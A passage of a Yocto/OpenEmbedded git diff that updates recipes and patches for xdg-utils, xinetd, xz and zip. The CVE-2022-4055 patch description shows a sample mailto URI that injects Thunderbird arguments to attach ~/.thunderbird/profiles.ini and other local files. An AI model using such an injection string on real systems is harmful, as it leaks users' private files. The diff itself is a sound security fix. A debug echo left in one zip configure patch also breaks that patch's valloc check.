+ SUBJECT=$(echo "$MAILTO" | grep '^subject=' | tail -n 1)
+ BODY=$(echo "$MAILTO" | grep '^body=' | tail -n 1)
+- ATTACH=$(/bin/echo -e $(echo "$MAILTO" | grep '^attach=' | sed 's/^attach=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }' | sed 's/,$//'))
+
+ if [ -z "$TO" ] ; then
+ NEWMAILTO=
+@@ -68,10 +67,6 @@ run_thunderbird()
+ NEWMAILTO="${NEWMAILTO},$BODY"
+ fi
+
+- if [ -n "$ATTACH" ] ; then
+- NEWMAILTO="${NEWMAILTO},attachment='${ATTACH}'"
+- fi
+-
+ NEWMAILTO=$(echo "$NEWMAILTO" | sed 's/^,//')
+ DEBUG 1 "Running $THUNDERBIRD -compose \"$NEWMAILTO\""
+ "$THUNDERBIRD" -compose "$NEWMAILTO"
+--
+GitLab
+
diff --git a/meta/recipes-extended/xdg-utils/xdg-utils/CVE-2022-4055.patch b/meta/recipes-extended/xdg-utils/xdg-utils/CVE-2022-4055.patch
new file mode 100644
index 0000000000..b236030108
--- /dev/null
+++ b/meta/recipes-extended/xdg-utils/xdg-utils/CVE-2022-4055.patch
@@ -0,0 +1,145 @@
+xdg-email does not parse mailto uris properly for thunderbird
+
+When using thunderbird as mailto handler xdg-email translates mailto uris into an 'thunderbird -compose' argument. While to, cc and bcc values are properly enclosed in single quotes this is not the case for subject or body. This breaks functionality and allows to use all thunderbird -compose arguments within a mailto uri, e.g.
+
+xdg-email 'mailto:test@example.com?subject=Test,attachment=~/.thunderbird/profiles.ini,message=/home/test/test.txt'
+
+translates into
+
+thunderbird -compose to='test@example.com,',subject=Test,attachment=~/.thunderbird/profiles.ini,message=/home/test/test.txt
+
+with working attachment and message. (And, yes, ~ expands to the home directory.)
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/xdg/xdg-utils/-/issues/205]
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+CVE: CVE-2022-4055
+
+
+Index: xdg-utils-1.1.3/scripts/xdg-email.in
+===================================================================
+--- xdg-utils-1.1.3.orig/scripts/xdg-email.in
++++ xdg-utils-1.1.3/scripts/xdg-email.in
+@@ -30,53 +30,6 @@ _USAGE
+
+ #@xdg-utils-common@
+
+-run_thunderbird()
+-{
+- local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY
+- THUNDERBIRD="$1"
+- MAILTO=$(echo "$2" | sed 's/^mailto://')
+- echo "$MAILTO" | grep -qs "^?"
+- if [ "$?" = "0" ] ; then
+- MAILTO=$(echo "$MAILTO" | sed 's/^?//')
+- else
+- MAILTO=$(echo "$MAILTO" | sed 's/^/to=/' | sed 's/?/\&/')
+- fi
+-
+- MAILTO=$(echo "$MAILTO" | sed 's/&/\n/g')
+- TO=$(/bin/echo -e $(echo "$MAILTO" | grep '^to=' | sed 's/^to=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }'))
+- CC=$(/bin/echo -e $(echo "$MAILTO" | grep '^cc=' | sed 's/^cc=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }'))
+- BCC=$(/bin/echo -e $(echo "$MAILTO" | grep '^bcc=' | sed 's/^bcc=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }'))
+- SUBJECT=$(echo "$MAILTO" | grep '^subject=' | tail -n 1)
+- BODY=$(echo "$MAILTO" | grep '^body=' | tail -n 1)
+-
+- if [ -z "$TO" ] ; then
+- NEWMAILTO=
+- else
+- NEWMAILTO="to='$TO'"
+- fi
+- if [ -n "$CC" ] ; then
+- NEWMAILTO="${NEWMAILTO},cc='$CC'"
+- fi
+- if [ -n "$BCC" ] ; then
+- NEWMAILTO="${NEWMAILTO},bcc='$BCC'"
+- fi
+- if [ -n "$SUBJECT" ] ; then
+- NEWMAILTO="${NEWMAILTO},$SUBJECT"
+- fi
+- if [ -n "$BODY" ] ; then
+- NEWMAILTO="${NEWMAILTO},$BODY"
+- fi
+-
+- NEWMAILTO=$(echo "$NEWMAILTO" | sed 's/^,//')
+- DEBUG 1 "Running $THUNDERBIRD -compose \"$NEWMAILTO\""
+- "$THUNDERBIRD" -compose "$NEWMAILTO"
+- if [ $? -eq 0 ]; then
+- exit_success
+- else
+- exit_failure_operation_failed
+- fi
+-}
+-
+ open_kde()
+ {
+ if [ -n "$KDE_SESSION_VERSION" ] && [ "$KDE_SESSION_VERSION" -ge 5 ]; then
+@@ -130,15 +83,6 @@ open_kde()
+
+ open_gnome3()
+ {
+- local client
+- local desktop
+- desktop=`xdg-mime query default "x-scheme-handler/mailto"`
+- client=`desktop_file_to_binary "$desktop"`
+- echo $client | grep -E 'thunderbird|icedove' > /dev/null 2>&1
+- if [ $? -eq 0 ] ; then
+- run_thunderbird "$client" "$1"
+- fi
+-
+ if gio help open 2>/dev/null 1>&2; then
+ DEBUG 1 "Running gio open \"$1\""
+ gio open "$1"
+@@ -159,13 +103,6 @@ open_gnome3()
+
+ open_gnome()
+ {
+- local client
+- client=`gconftool-2 --get /desktop/gnome/url-handlers/mailto/command | cut -d ' ' -f 1` || ""
+- echo $client | grep -E 'thunderbird|icedove' > /dev/null 2>&1
+- if [ $? -eq 0 ] ; then
+- run_thunderbird "$client" "$1"
+- fi
+-
+ if gio help open 2>/dev/null 1>&2; then
+ DEBUG 1 "Running gio open \"$1\""
+ gio open "$1"
+@@ -231,15 +168,6 @@ open_flatpak()
+
+ open_generic()
+ {
+- local client
+- local desktop
+- desktop=`xdg-mime query default "x-scheme-handler/mailto"`
+- client=`desktop_file_to_binary "$desktop"`
+- echo $client | grep -E 'thunderbird|icedove' > /dev/null 2>&1
+- if [ $? -eq 0 ] ; then
+- run_thunderbird "$client" "$1"
+- fi
+-
+ xdg-open "$1"
+ local ret=$?
+
+@@ -364,21 +292,6 @@ while [ $# -gt 0 ] ; do
+ shift
+ ;;
+
+- --attach)
+- if [ -z "$1" ] ; then
+- exit_failure_syntax "file argument missing for --attach option"
+- fi
+- check_input_file "$1"
+- file=`readlink -f "$1"` # Normalize path
+- if [ -z "$file" ] || [ ! -f "$file" ] ; then
+- exit_failure_file_missing "file '$1' does not exist"
+- fi
+-
+- url_encode "$file"
+- options="${options}attach=${result}&"
+- shift
+- ;;
+-
+ -*)
+ exit_failure_syntax "unexpected option '$parm'"
+ ;;
diff --git a/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb b/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb
index d371c5c28c..4d93180535 100644
--- a/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb
+++ b/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb
@@ -20,6 +20,8 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=a5367a90934098d6b05af3b746405014"
SRC_URI = "https://portland.freedesktop.org/download/${BPN}-${PV}.tar.gz \
file://0001-Reinstate-xdg-terminal.patch \
file://0001-Don-t-build-the-in-script-manual.patch \
+ file://1f199813e0eb0246f63b54e9e154970e609575af.patch \
+ file://CVE-2022-4055.patch \
"
SRC_URI[md5sum] = "902042508b626027a3709d105f0b63ff"
@@ -34,4 +36,4 @@ inherit autotools-brokensep features_check
REQUIRED_DISTRO_FEATURES = "x11"
DEPENDS = "xmlto-native libxslt-native"
-RDEPENDS_${PN} += "xprop"
+RDEPENDS:${PN} += "xprop"
diff --git a/meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb b/meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb
index 4f0f9531a1..72eb1ae067 100644
--- a/meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb
+++ b/meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb
@@ -1,14 +1,13 @@
SUMMARY = "Socket-based service activation daemon"
HOMEPAGE = "https://github.com/xinetd-org/xinetd"
+DESCRIPTION = "xinetd is a powerful replacement for inetd, xinetd has access control mechanisms, extensive logging capabilities, the ability to make services available based on time, can place limits on the number of servers that can be started, and has deployable defence mechanisms to protect against port scanners, among other things."
-# xinetd is a BSD-like license
-# Apple and Gentoo say BSD here.
-LICENSE = "BSD"
+LICENSE = "xinetd"
LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=55c5fdf02cfcca3fc9621b6f2ceae10f"
UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)"
-SRC_URI = "git://github.com/openSUSE/xinetd.git;protocol=https \
+SRC_URI = "git://github.com/openSUSE/xinetd.git;protocol=https;branch=master \
file://xinetd.init \
file://xinetd.default \
file://xinetd.service \
@@ -18,9 +17,12 @@ SRCREV = "6a4af7786630ce48747d9687e2f18f45ea6684c4"
S = "${WORKDIR}/git"
+# https://github.com/xinetd-org/xinetd/pull/10 is merged into this git tree revision
+CVE_STATUS[CVE-2013-4342] = "fixed-version: Fixed directly in git tree revision"
+
inherit autotools update-rc.d systemd pkgconfig
-SYSTEMD_SERVICE_${PN} = "xinetd.service"
+SYSTEMD_SERVICE:${PN} = "xinetd.service"
INITSCRIPT_NAME = "xinetd"
INITSCRIPT_PARAMS = "defaults"
@@ -28,20 +30,25 @@ INITSCRIPT_PARAMS = "defaults"
PACKAGECONFIG ??= "tcp-wrappers"
PACKAGECONFIG[tcp-wrappers] = "--with-libwrap,,tcp-wrappers"
-CONFFILES_${PN} = "${sysconfdir}/xinetd.conf"
+CFLAGS += "-D_GNU_SOURCE"
+
+CONFFILES:${PN} = "${sysconfdir}/xinetd.conf"
-do_install_append() {
+do_install:append() {
install -d "${D}${sysconfdir}/init.d"
install -d "${D}${sysconfdir}/default"
install -m 755 "${WORKDIR}/xinetd.init" "${D}${sysconfdir}/init.d/xinetd"
install -m 644 "${WORKDIR}/xinetd.default" "${D}${sysconfdir}/default/xinetd"
# Install systemd unit files
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/xinetd.service ${D}${systemd_unitdir}/system
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/xinetd.service ${D}${systemd_system_unitdir}
sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
-e 's,@SBINDIR@,${sbindir},g' \
- ${D}${systemd_unitdir}/system/xinetd.service
+ ${D}${systemd_system_unitdir}/xinetd.service
}
-RDEPENDS_${PN} += "perl"
+# Script for converting inetd.conf files into xinetd.conf files
+PACKAGES =+ "${PN}-xconv"
+FILES:${PN}-xconv = "${bindir}/xconv.pl"
+RDEPENDS:${PN}-xconv += "perl"
diff --git a/meta/recipes-extended/xz/xz/run-ptest b/meta/recipes-extended/xz/xz/run-ptest
new file mode 100644
index 0000000000..cc8ba92016
--- /dev/null
+++ b/meta/recipes-extended/xz/xz/run-ptest
@@ -0,0 +1,26 @@
+#!/bin/bash
+
+ptestdir=$(dirname "$(readlink -f "$0")")
+cd "$ptestdir"/tests || exit
+
+# executables test cases
+tests_exec=$(file $(ls test_*) | grep "ELF" | awk -F: '{print $1}')
+for i in ${tests_exec}; do
+ ./$i
+done
+
+# POSIX shell script test cases
+export srcdir=${ptestdir}/tests
+test_shell="test_files.sh test_scripts.sh test_compress.sh"
+for j in ${test_shell}; do
+ if [ $j == "test_compress.sh" ]; then
+ ./$j create_compress_files
+ else
+ ./$j
+ fi
+ if [ $? -eq 0 ]; then
+ echo "PASS: $j"
+ else
+ echo "FAIL: $j"
+ fi
+done
diff --git a/meta/recipes-extended/xz/xz_5.2.5.bb b/meta/recipes-extended/xz/xz_5.2.5.bb
deleted file mode 100644
index af21b60563..0000000000
--- a/meta/recipes-extended/xz/xz_5.2.5.bb
+++ /dev/null
@@ -1,43 +0,0 @@
-SUMMARY = "Utilities for managing LZMA compressed files"
-HOMEPAGE = "https://tukaani.org/xz/"
-SECTION = "base"
-
-# The source includes bits of PD, GPLv2, GPLv3, LGPLv2.1+, but the only file
-# which is GPLv3 is an m4 macro which isn't shipped in any of our packages,
-# and the LGPL bits are under lib/, which appears to be used for libgnu, which
-# appears to be used for DOS builds. So we're left with GPLv2+ and PD.
-LICENSE = "GPLv2+ & GPL-3.0-with-autoconf-exception & LGPLv2.1+ & PD"
-LICENSE_${PN} = "GPLv2+"
-LICENSE_${PN}-dev = "GPLv2+"
-LICENSE_${PN}-staticdev = "GPLv2+"
-LICENSE_${PN}-doc = "GPLv2+"
-LICENSE_${PN}-dbg = "GPLv2+"
-LICENSE_${PN}-locale = "GPLv2+"
-LICENSE_liblzma = "PD"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=97d554a32881fee0aa283d96e47cb24a \
- file://COPYING.GPLv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://COPYING.GPLv3;md5=d32239bcb673463ab874e80d47fae504 \
- file://COPYING.LGPLv2.1;md5=4fbd65380cdd255951079008b364516c \
- file://lib/getopt.c;endline=23;md5=2069b0ee710572c03bb3114e4532cd84 \
- "
-
-SRC_URI = "https://tukaani.org/xz/xz-${PV}.tar.gz"
-SRC_URI[md5sum] = "0d270c997aff29708c74d53f599ef717"
-SRC_URI[sha256sum] = "f6f4910fd033078738bd82bfba4f49219d03b17eb0794eb91efbae419f4aba10"
-UPSTREAM_CHECK_REGEX = "xz-(?P<pver>\d+(\.\d+)+)\.tar"
-
-CACHED_CONFIGUREVARS += "gl_cv_posix_shell=/bin/sh"
-
-inherit autotools gettext
-
-PACKAGES =+ "liblzma"
-
-FILES_liblzma = "${libdir}/liblzma*${SOLIBS}"
-
-inherit update-alternatives
-ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "xz xzcat unxz \
- lzma lzcat unlzma"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/xz/xz_5.4.6.bb b/meta/recipes-extended/xz/xz_5.4.6.bb
new file mode 100644
index 0000000000..da3b75a10b
--- /dev/null
+++ b/meta/recipes-extended/xz/xz_5.4.6.bb
@@ -0,0 +1,69 @@
+SUMMARY = "Utilities for managing LZMA compressed files"
+HOMEPAGE = "https://tukaani.org/xz/"
+DESCRIPTION = "XZ Utils is free general-purpose data compression software with a high compression ratio. XZ Utils were written for POSIX-like systems, but also work on some not-so-POSIX systems. XZ Utils are the successor to LZMA Utils."
+SECTION = "base"
+
+# The source includes bits of PD, GPL-2.0, GPL-3.0, LGPL-2.1-or-later, but the
+# only file which is GPL-3.0 is an m4 macro which isn't shipped in any of our
+# packages, and the LGPL bits are under lib/, which appears to be used for
+# libgnu, which appears to be used for DOS builds. So we're left with
+# GPL-2.0-or-later and PD.
+LICENSE = "GPL-2.0-or-later & GPL-3.0-with-autoconf-exception & LGPL-2.1-or-later & PD"
+LICENSE:${PN} = "GPL-2.0-or-later"
+LICENSE:${PN}-dev = "GPL-2.0-or-later"
+LICENSE:${PN}-staticdev = "GPL-2.0-or-later"
+LICENSE:${PN}-doc = "GPL-2.0-or-later"
+LICENSE:${PN}-dbg = "GPL-2.0-or-later"
+LICENSE:${PN}-locale = "GPL-2.0-or-later"
+LICENSE:liblzma = "PD"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=d4378ea9d5d1fc9ab0ae10d7948827d9 \
+ file://COPYING.GPLv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://COPYING.GPLv3;md5=1ebbd3e34237af26da5dc08a4e440464 \
+ file://COPYING.LGPLv2.1;md5=4fbd65380cdd255951079008b364516c \
+ file://lib/getopt.c;endline=23;md5=2069b0ee710572c03bb3114e4532cd84 \
+ "
+
+SRC_URI = "https://github.com/tukaani-project/xz/releases/download/v${PV}/xz-${PV}.tar.gz \
+ file://run-ptest \
+ "
+SRC_URI[sha256sum] = "aeba3e03bf8140ddedf62a0a367158340520f6b384f75ca6045ccc6c0d43fd5c"
+UPSTREAM_CHECK_REGEX = "releases/tag/v(?P<pver>\d+(\.\d+)+)"
+UPSTREAM_CHECK_URI = "https://github.com/tukaani-project/xz/releases/"
+
+CACHED_CONFIGUREVARS += "gl_cv_posix_shell=/bin/sh"
+
+inherit autotools gettext ptest
+
+PACKAGES =+ "liblzma"
+
+FILES:liblzma = "${libdir}/liblzma*${SOLIBS}"
+
+inherit update-alternatives
+ALTERNATIVE_PRIORITY = "100"
+ALTERNATIVE:${PN} = "xz xzcat unxz \
+ lzma lzcat unlzma"
+
+BBCLASSEXTEND = "native nativesdk"
+
+RDEPENDS:${PN}-ptest += "bash file"
+
+do_compile_ptest() {
+ oe_runmake check TESTS=
+}
+
+do_install_ptest () {
+ install -d ${D}${PTEST_PATH}/tests
+ find ${B}/tests/.libs -type f -executable -exec cp {} ${D}${PTEST_PATH}/tests \;
+ cp ${B}/config.h ${D}${PTEST_PATH}
+ for i in files xzgrep_expected_output test_files.sh test_scripts.sh test_compress.sh; do
+ cp -r ${S}/tests/$i ${D}${PTEST_PATH}/tests
+ done
+ mkdir -p ${D}${PTEST_PATH}/src/xz
+ ln -s ${bindir}/xz ${D}${PTEST_PATH}/src/xz/xz
+ mkdir -p ${D}${PTEST_PATH}/src/xzdec
+ ln -s ${bindir}/xzdec ${D}${PTEST_PATH}/src/xzdec/xzdec
+ mkdir -p ${D}${PTEST_PATH}/src/scripts
+ ln -s ${bindir}/xzdiff ${D}${PTEST_PATH}/src/scripts/xzdiff
+ ln -s ${bindir}/xzgrep ${D}${PTEST_PATH}/src/scripts/xzgrep
+}
diff --git a/meta/recipes-extended/zip/zip-3.0/0001-configure-Specify-correct-function-signatures-and-de.patch b/meta/recipes-extended/zip/zip-3.0/0001-configure-Specify-correct-function-signatures-and-de.patch
new file mode 100644
index 0000000000..a4f8382625
--- /dev/null
+++ b/meta/recipes-extended/zip/zip-3.0/0001-configure-Specify-correct-function-signatures-and-de.patch
@@ -0,0 +1,134 @@
+From 8810f2643c9372a8083272dc1fc157427646d961 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 10 Aug 2022 17:16:23 -0700
+Subject: [PATCH 1/2] configure: Specify correct function signatures and
+ declarations
+
+Include needed system headers in configure tests, this is needed because
+newer compilers are getting stricter about the C99 specs and turning
+-Wimplicit-function-declaration into hard error e.g. clang-15+
+
+Upstream-Status: Inactive-Upstream
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ unix/configure | 79 +++++++++++++++++++++++++++++++++++++++++---------
+ 1 file changed, 66 insertions(+), 13 deletions(-)
+
+diff --git a/unix/configure b/unix/configure
+index 1d9a9bb..f2b3d02 100644
+--- a/unix/configure
++++ b/unix/configure
+@@ -513,21 +513,70 @@ $CC $CFLAGS -c conftest.c >/dev/null 2>/dev/null
+ # Check for missing functions
+ # add NO_'function_name' to flags if missing
+
+-for func in rmdir strchr strrchr rename mktemp mktime mkstemp
+-do
+- echo Check for $func
+- echo "int main(){ $func(); return 0; }" > conftest.c
+- $CC $CFLAGS $LDFLAGS $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null
+- [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_`echo $func | tr '[a-z]' '[A-Z]'`"
+-done
++echo Check for rmdir
++cat > conftest.c << _EOF_
++#include <unistd.h>
++int main(){ rmdir(NULL); return 0; }
++_EOF_
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
++[ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_RMDIR"
++
++echo Check for strchr
++cat > conftest.c << _EOF_
++#include <string.h>
++int main(){ strchr(NULL,0); return 0; }
++_EOF_
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
++[ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_STRCHR"
+
++echo Check for strrchr
++cat > conftest.c << _EOF_
++#include <string.h>
++int main(){ strrchr(NULL,0); return 0; }
++_EOF_
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
++[ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_STRRCHR"
++
++echo Check for rename
++cat > conftest.c << _EOF_
++#include <stdio.h>
++int main(){ rename(NULL,NULL); return 0; }
++_EOF_
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
++[ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_RENAME"
++
++echo Check for mktemp
++cat > conftest.c << _EOF_
++#include <stdlib.h>
++int main(){ mktemp(NULL); return 0; }
++_EOF_
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
++[ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_MKTEMP"
++
++echo Check for mktime
++cat > conftest.c << _EOF_
++#include <time.h>
++int main(){ mktime(NULL); return 0; }
++_EOF_
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
++[ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_MKTIME"
++
++echo Check for mkstemp
++cat > conftest.c << _EOF_
++#include <stdlib.h>
++int main(){ return mkstemp(NULL); }
++_EOF_
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
++[ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_MKSTEMP"
+
+ echo Check for memset
+-echo "int main(){ char k; memset(&k,0,0); return 0; }" > conftest.c
++cat > conftest.c << _EOF_
++#include <string.h>
++int main(){ char k; memset(&k,0,0); return 0; }
++_EOF_
+ $CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DZMEM"
+
+-
+ echo Check for memmove
+ cat > conftest.c << _EOF_
+ #include <string.h>
+@@ -548,7 +597,7 @@ $CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ echo Check for errno declaration
+ cat > conftest.c << _EOF_
+ #include <errno.h>
+-main()
++int main()
+ {
+ errno = 0;
+ return 0;
+@@ -625,14 +674,18 @@ CFLAGS="${CFLAGS} ${OPT}"
+
+ echo Check for valloc
+ cat > conftest.c << _EOF_
+-main()
++#include <stdlib.h>
++int main()
+ {
+ #ifdef MMAP
+- valloc();
++ valloc(0);
+ #endif
++ return 0;
+ }
+ _EOF_
+-$CC ${CFLAGS} -c conftest.c > /dev/null 2>/dev/null
++#$CC ${CFLAGS} -c conftest.c > /dev/null 2>/dev/null
++$CC ${CFLAGS} -c conftest.c
++echo "==========================================="
+ [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_VALLOC"
+
+
+--
+2.37.1
+
diff --git a/meta/recipes-extended/zip/zip-3.0/0001-configure-Use-CFLAGS-and-LDFLAGS-when-doing-link-tes.patch b/meta/recipes-extended/zip/zip-3.0/0001-configure-Use-CFLAGS-and-LDFLAGS-when-doing-link-tes.patch
new file mode 100644
index 0000000000..92d0d5db58
--- /dev/null
+++ b/meta/recipes-extended/zip/zip-3.0/0001-configure-Use-CFLAGS-and-LDFLAGS-when-doing-link-tes.patch
@@ -0,0 +1,88 @@
+From ab5df4826c4a532da78828b72a2751c899e27ef2 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 8 Mar 2022 22:31:21 -0800
+Subject: [PATCH] configure: Use CFLAGS and LDFLAGS when doing link tests
+
+Some case link flags contain important flags which are required during
+linking, link fails otherwise without them, which can result in
+configure detection go wrong, ensure these flags are used along with CC
+when tests involve linking
+
+Upstream-Status: Inactive-Upstream
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ unix/configure | 16 ++++++++--------
+ 1 file changed, 8 insertions(+), 8 deletions(-)
+
+diff --git a/unix/configure b/unix/configure
+index 1bc698b..1d9a9bb 100644
+--- a/unix/configure
++++ b/unix/configure
+@@ -517,14 +517,14 @@ for func in rmdir strchr strrchr rename mktemp mktime mkstemp
+ do
+ echo Check for $func
+ echo "int main(){ $func(); return 0; }" > conftest.c
+- $CC $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null
++ $CC $CFLAGS $LDFLAGS $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_`echo $func | tr '[a-z]' '[A-Z]'`"
+ done
+
+
+ echo Check for memset
+ echo "int main(){ char k; memset(&k,0,0); return 0; }" > conftest.c
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DZMEM"
+
+
+@@ -533,7 +533,7 @@ cat > conftest.c << _EOF_
+ #include <string.h>
+ int main() { int a; int b = 0; memmove( &a, &b, sizeof( a)); return a; }
+ _EOF_
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNEED_MEMMOVE"
+
+
+@@ -542,7 +542,7 @@ cat > conftest.c << _EOF_
+ #include <string.h>
+ int main() { strerror( 0); return 0; }
+ _EOF_
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNEED_STRERROR"
+
+ echo Check for errno declaration
+@@ -563,7 +563,7 @@ cat > conftest.c << _EOF_
+ int main() { return closedir(opendir(".")); }
+ _EOF_
+
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ if [ $? -ne 0 ]; then
+ OPT=""
+ for lib in ndir dir ucb bsd BSD PW x dirent
+@@ -583,9 +583,9 @@ fi
+
+ echo Check for readlink
+ echo "int main(){ return readlink(); }" > conftest.c
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ if [ $? -ne 0 ]; then
+- $CC -o conftest conftest.c -lseq >/dev/null 2>/dev/null
++ $CC $CFLAGS $LDFLAGS -o conftest conftest.c -lseq >/dev/null 2>/dev/null
+ [ $? -eq 0 ] && LFLAGS2="${LFLAGS2} -lseq"
+ fi
+
+@@ -661,7 +661,7 @@ elif [ -f /xenix ]; then
+ elif uname -X >/dev/null 2>/dev/null; then
+ # SCO shared library check
+ echo "int main() { return 0;}" > conftest.c
+- $CC -o conftest conftest.c -lc_s -nointl >/dev/null 2> /dev/null
++ $CC $CFLAGS $LDFLAGS -o conftest conftest.c -lc_s -nointl >/dev/null 2> /dev/null
+ [ $? -eq 0 ] && LFLAGS2="-lc_s -nointl"
+ else
+ SYSTEM=`uname -s 2>/dev/null` || SYSTEM="unknown"
+--
+2.35.1
+
diff --git a/meta/recipes-extended/zip/zip-3.0/0001-configure-use-correct-CPP.patch b/meta/recipes-extended/zip/zip-3.0/0001-configure-use-correct-CPP.patch
new file mode 100644
index 0000000000..02253f968c
--- /dev/null
+++ b/meta/recipes-extended/zip/zip-3.0/0001-configure-use-correct-CPP.patch
@@ -0,0 +1,47 @@
+From 7a2729ee7f5d9b9d4a0d9b83fe641a2ab03c4ee0 Mon Sep 17 00:00:00 2001
+From: Joe Slater <joe.slater@windriver.com>
+Date: Thu, 24 Feb 2022 17:36:59 -0800
+Subject: [PATCH 1/2] configure: use correct CPP
+
+configure uses CPP to test that two assembler routines
+can be built. Unfortunately, it will use /usr/bin/cpp
+if it exists, invalidating the tests. We use the $CC
+passed to configure.
+
+Upstream-Status: Inappropriate [openembedded specific]
+
+Signed-off-by: Joe Slater <joe.slater@windriver.com>
+---
+ unix/configure | 15 +++++++++------
+ 1 file changed, 9 insertions(+), 6 deletions(-)
+
+diff --git a/unix/configure b/unix/configure
+index 73ba803..7e21070 100644
+--- a/unix/configure
++++ b/unix/configure
+@@ -220,13 +220,16 @@ fi
+ echo Check for the C preprocessor
+ # on SVR4, cc -E does not produce correct assembler files. Need /lib/cpp.
+ CPP="${CC} -E"
++
++# We should not change CPP for yocto builds.
++#
+ # solaris as(1) needs -P, maybe others as well ?
+-[ -f /usr/ccs/lib/cpp ] && CPP="/usr/ccs/lib/cpp -P"
+-[ -f /usr/lib/cpp ] && CPP=/usr/lib/cpp
+-[ -f /lib/cpp ] && CPP=/lib/cpp
+-[ -f /usr/bin/cpp ] && CPP=/usr/bin/cpp
+-[ -f /xenix ] && CPP="${CC} -E"
+-[ -f /lynx.os ] && CPP="${CC} -E"
++# [ -f /usr/ccs/lib/cpp ] && CPP="/usr/ccs/lib/cpp -P"
++# [ -f /usr/lib/cpp ] && CPP=/usr/lib/cpp
++# [ -f /lib/cpp ] && CPP=/lib/cpp
++# [ -f /usr/bin/cpp ] && CPP=/usr/bin/cpp
++# [ -f /xenix ] && CPP="${CC} -E"
++# [ -f /lynx.os ] && CPP="${CC} -E"
+
+ echo "#include <stdio.h>" > conftest.c
+ $CPP conftest.c >/dev/null 2>/dev/null || CPP="${CC} -E"
+--
+2.24.1
+
diff --git a/meta/recipes-extended/zip/zip-3.0/0001-unix-configure-use-_Static_assert-to-do-correct-dete.patch b/meta/recipes-extended/zip/zip-3.0/0001-unix-configure-use-_Static_assert-to-do-correct-dete.patch
new file mode 100644
index 0000000000..106f246a7c
--- /dev/null
+++ b/meta/recipes-extended/zip/zip-3.0/0001-unix-configure-use-_Static_assert-to-do-correct-dete.patch
@@ -0,0 +1,96 @@
+From 9916fc6f1f93f3e092e3c6937c30dc8137c26d34 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Thu, 15 Jun 2023 18:31:26 +0800
+Subject: [PATCH] unix/configure: use _Static_assert to do correct detection
+
+We're doing cross compilation, running a cross-compiled problem
+on host to detemine feature is not correct. Use _Static_assert
